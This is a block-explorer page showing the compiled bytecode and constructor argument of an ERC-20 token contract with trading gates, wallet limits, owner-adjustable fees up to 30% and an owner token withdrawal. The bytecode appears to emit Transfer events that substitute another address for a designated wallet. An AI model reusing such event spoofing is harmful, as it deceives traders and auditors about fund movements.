004016105b4906117ad565b6001600160a01b0383165f90815260208190526040902054818110156111025760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b4565b6001600160a01b038085165f818152602081905260408082208686039055868416825290208054850190556006549091169003611183576005546040518381526001600160a01b038581169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610b6a565b6006546001600160a01b03908116908416036111db576005546040518381526001600160a01b03918216918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611176565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117691815260200190565b600a5460ff166112ac576001600160a01b0383165f908152600f602052604090205460ff168061126757506001600160a01b0382165f908152600f602052604090205460ff165b6112ac5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105b4565b6001600160a01b0383165f9081526011602052604090205460ff1680156112eb57506001600160a01b0382165f9081526010602052604090205460ff16155b156113d257600d548111156113685760405162461bcd60e51b815260206004820152603960248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f696e737572616e63654c6f616e416d6f756e744c696d69742e0000000000000060648201526084016105b4565b600e546001600160a01b0383165f908152602081905260409020545b61138e908361173a565b1115610bce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016105b4565b6001600160a01b0382165f9081526011602052604090205460ff16801561141157506001600160a01b0383165f9081526010602052604090205460ff16155b1561148e57600d54811115610bce5760405162461bcd60e51b815260206004820152603a60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f20696e737572616e63654c6f616e416d6f756e744c696d69742e00000000000060648201526084016105b4565b6001600160a01b0382165f9081526010602052604090205460ff16610bce57600e546001600160a01b0383165f90815260208190526040902054611384565b600a546001600160a01b0384165f908152600f602052604090205460ff61010090920482161591168061151757506001600160a01b0383165f908152600f602052604090205460ff165b1561151f57505f5b5f81156115a2576001600160a01b0384165f9081526011602052604090205460ff161561156757600c546064906115569085611875565b611560919061188c565b9050611584565b600b546064906115779085611875565b611581919061188c565b90505b80156115955761159585308361103f565b61159f81846118ab565b92505b610f3a85858561103f565b5f602080835283518060208501525f5b818110156115d9578581018301518582016040015282016115bd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d2575f80fd5b5f806040838503121561161e575f80fd5b8235611629816115f9565b946020939093013593505050565b5f805f60608486031215611649575f80fd5b8335611654816115f9565b92506020840135611664816115f9565b929592945050506040919091013590565b5f8060408385031215611686575f80fd5b50508035926020909101359150565b5f602082840312156116a5575f80fd5b81356116b0816115f9565b9392505050565b5f80604083850312156116c8575f80fd5b82356116d3816115f9565b915060208301356116e3816115f9565b809150509250929050565b600181811c9082168061170257607f821691505b60208210810361172057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561053057610530611726565b5f6020828403121561175d575f80fd5b81516116b0816115f9565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118545784516001600160a01b03168352938301939183019160010161182f565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761053057610530611726565b5f826118a657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105305761053061172656fea26469706673582212203d762112fc065a242f31643b7fbe958041a4777b3b03ac29913254bcd24d91de64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000ed262de8134704a20f4ddff7d2808d943bb42548

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b3578063c9567bf91161006d578063c9567bf9146103cc578063db2e21bc146103e0578063dd62ed3e146103f4578063f2fde38b14610413578063f817b10314610432578063ffb54a9914610474575f80fd5b8063715018a6146103125780638490c446146103265780638da5cb5b1461035d57806395d89b411461037a578063a457c2d71461038e578063a9059cbb146103ad575f80fd5b8063372df89e11610104578063372df89e1461023d578063395093511461025e578063460731151461027d57806349bd5a5e146102915780636dc44c8f146102b057806370a08231146102de575f80fd5b806306fdde0314610155578063095ea7b31461017f57806318160ddd146101ae57806323b872dd146101cc578063250e39b1146101eb578063313ce56714610222575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016961048d565b60405161017691906115ad565b60405180910390f35b34801561018a575f80fd5b5061019e61019936600461160d565b61051d565b6040519015158152602001610176565b3480156101b9575f80fd5b506002545b604051908152602001610176565b3480156101d7575f80fd5b5061019e6101e6366004611637565b610536565b3480156101f6575f80fd5b5060085461020a906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561022d575f80fd5b5060405160128152602001610176565b348015610248575f80fd5b5061025c610257366004611675565b610559565b005b348015610269575f80fd5b5061019e61027836600461160d565b6105c8565b348015610288575f80fd5b5061025c6105e9565b34801561029c575f80fd5b5060125461020a906001600160a01b031681565b3480156102bb575f80fd5b5061019e6102ca366004611695565b60116020525f908152604090205460ff1681565b3480156102e9575f80fd5b506101be6102f8366004611695565b6001600160a01b03165f9081526020819052604090205490565b34801561031d575f80fd5b5061025c610606565b348015610331575f80fd5b5061019e610340366004611695565b6001600160a01b03165f908152600f602052604090205460ff1690565b348015610368575f80fd5b506007546001600160a01b031661020a565b348015610385575f80fd5b50610169610619565b348015610399575f80fd5b5061019e6103a836600461160d565b610628565b3480156103b8575f80fd5b5061019e6103c736600461160d565b6106a2565b3480156103d7575f80fd5b5061025c6106af565b3480156103eb575f80fd5b5061025c61090f565b3480156103ff575f80fd5b506101be61040e3660046116b7565b610932565b34801561041e575f80fd5b5061025c61042d366004611695565b61095c565b34801561043d575f80fd5b50600b54600c54600d54600e546104549392919084565b604080519485526020850193909352918301526060820152608001610176565b34801561047f575f80fd5b50600a5461019e9060ff1681565b60606003805461049c906116ee565b80601f01602080910402602001604051908101604052809291908181526020018280546104c8906116ee565b80156105135780601f106104ea57610100808354040283529160200191610513565b820191905f5260205f20905b8154815290600101906020018083116104f657829003601f168201915b5050505050905090565b5f3361052a8185856109d5565b60019150505b92915050565b5f33610543858285610af8565b61054e858585610b70565b506001949350505050565b610561610f41565b601e8211158015610573575060648111155b6105bd5760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b600b91909155600c55565b5f3361052a8185856105da8383610932565b6105e4919061173a565b6109d5565b6105f1610f41565b5f6105fb60025490565b600d819055600e5550565b61060e610f41565b6106175f610f9b565b565b60606004805461049c906116ee565b5f33816106358286610932565b9050838110156106955760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105b4565b61054e82868684036109d5565b5f3361052a818585610b70565b6106b7610f41565b600a5460ff161561070a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b4565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a919061174d565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610819919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610862573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610886919061174d565b601280546001600160a01b0319166001600160a01b039290921691821790555f908152601060205260409020805460ff191660011790556012546108d4906001600160a01b03166001610fec565b610900307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d5f196109d5565b600a805460ff19166001179055565b610917610f41565b305f818152602081905260409020546106179190339061103f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610964610f41565b6001600160a01b0381166109c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b4565b6109d281610f9b565b50565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b4565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b4565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610b038484610932565b90505f198114610b6a5781811015610b5d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105b4565b610b6a84848484036109d5565b50505050565b6001600160a01b038316610b965760405162461bcd60e51b81526004016105b490611768565b6001600160a01b038216610bbc5760405162461bcd60e51b81526004016105b4906117ad565b805f03610bd357610bce83835f61103f565b505050565b6007546001600160a01b03848116911614801590610bff57506007546001600160a01b03838116911614155b8015610c1357506001600160a01b03821615155b8015610c2a57506001600160a01b03821661dead14155b15610c3a57610c3a838383611220565b305f9081526020819052604090205480158015908190610c625750600a54610100900460ff16155b8015610c8657506001600160a01b0385165f9081526011602052604090205460ff16155b8015610caa57506001600160a01b0385165f908152600f602052604090205460ff16155b8015610cce57506001600160a01b0384165f908152600f602052604090205460ff16155b15610f2f57600a805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d1557610d156117f0565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d91573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db5919061174d565b81600181518110610dc857610dc86117f0565b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663791ac947845f8430610e1542610e1061173a565b6040518663ffffffff1660e01b8152600401610e35959493929190611804565b5f604051808303815f87803b158015610e4c575f80fd5b505af1925050508015610e5d575060015b610ec9573d808015610e8a576040519150601f19603f3d011682016040523d82523d5f602084013e610e8f565b606091505b507f4ecb9b6d2e2efee3f1b1b86927f5895fc3f627ac91d5ebfe344df8ae1eec072381604051610ebf91906115ad565b60405180910390a1505b600a546040515f916201000090046001600160a01b03169047908381818185875af1925050503d805f8114610f19576040519150601f19603f3d011682016040523d82523d5f602084013e610f1e565b606091505b5050600a805461ff00191690555050505b610f3a8585856114cd565b5050505050565b6007546001600160a01b031633146106175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105b4565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260116020526040808220805460ff191685151590811790915590519092917fd6e02176e58f8b0a617f78afc978b01bba4ff03a39c6d1b958bcb8c3e37cdbc491a35050565b6001600160a01b0383166110655760405162461bcd60e51b81526004016105b490611768565b6001600160a01b03821661108b5760405162461bcd60e51b81526004016105b4906117ad565b6001600160a01b0383165f90815260208190526040902054818110156111025760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b4565b6001600160a01b038085165f818152602081905260408082208686039055868416825290208054850190556006549091169003611183576005546040518381526001600160a01b038581169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610b6a565b6006546001600160a01b03908116908416036111db576005546040518381526001600160a01b03918216918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611176565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117691815260200190565b600a5460ff166112ac576001600160a01b0383165f908152600f602052604090205460ff168061126757506001600160a01b0382165f908152600f602052604090205460ff165b6112ac5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105b4565b6001600160a01b0383165f9081526011602052604090205460ff1680156112eb57506001600160a01b0382165f9081526010602052604090205460ff16155b156113d257600d548111156113685760405162461bcd60e51b815260206004820152603960248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f696e737572616e63654c6f616e416d6f756e744c696d69742e0000000000000060648201526084016105b4565b600e546001600160a01b0383165f908152602081905260409020545b61138e908361173a565b1115610bce5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016105b4565b6001600160a01b0382165f9081526011602052604090205460ff16801561141157506001600160a01b0383165f9081526010602052604090205460ff16155b1561148e57600d54811115610bce5760405162461bcd60e51b815260206004820152603a60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f20696e737572616e63654c6f616e416d6f756e744c696d69742e00000000000060648201526084016105b4565b6001600160a01b0382165f9081526010602052604090205460ff16610bce57600e546001600160a01b0383165f90815260208190526040902054611384565b600a546001600160a01b0384165f908152600f602052604090205460ff61010090920482161591168061151757506001600160a01b0383165f908152600f602052604090205460ff165b1561151f57505f5b5f81156115a2576001600160a01b0384165f9081526011602052604090205460ff161561156757600c546064906115569085611875565b611560919061188c565b9050611584565b600b546064906115779085611875565b611581919061188c565b90505b80156115955761159585308361103f565b61159f81846118ab565b92505b610f3a85858561103f565b5f602080835283518060208501525f5b818110156115d9578581018301518582016040015282016115bd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d2575f80fd5b5f806040838503121561161e575f80fd5b8235611629816115f9565b946020939093013593505050565b5f805f60608486031215611649575f80fd5b8335611654816115f9565b92506020840135611664816115f9565b929592945050506040919091013590565b5f8060408385031215611686575f80fd5b50508035926020909101359150565b5f602082840312156116a5575f80fd5b81356116b0816115f9565b9392505050565b5f80604083850312156116c8575f80fd5b82356116d3816115f9565b915060208301356116e3816115f9565b809150509250929050565b600181811c9082168061170257607f821691505b60208210810361172057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561053057610530611726565b5f6020828403121561175d575f80fd5b81516116b0816115f9565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118545784516001600160a01b03168352938301939183019160010161182f565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761053057610530611726565b5f826118a657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105305761053061172656fea26469706673582212203d762112fc065a242f31643b7fbe958041a4777b3b03ac29913254bcd24d91de64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000ed262de8134704a20f4ddff7d2808d943bb42548

-----Decoded View---------------
Arg [0] : wallet (address): 0xED262dE8134704A20f4DDFf7d2808d943BB42548

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000ed262de8134704a20f4ddff7d2808d943bb42548


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.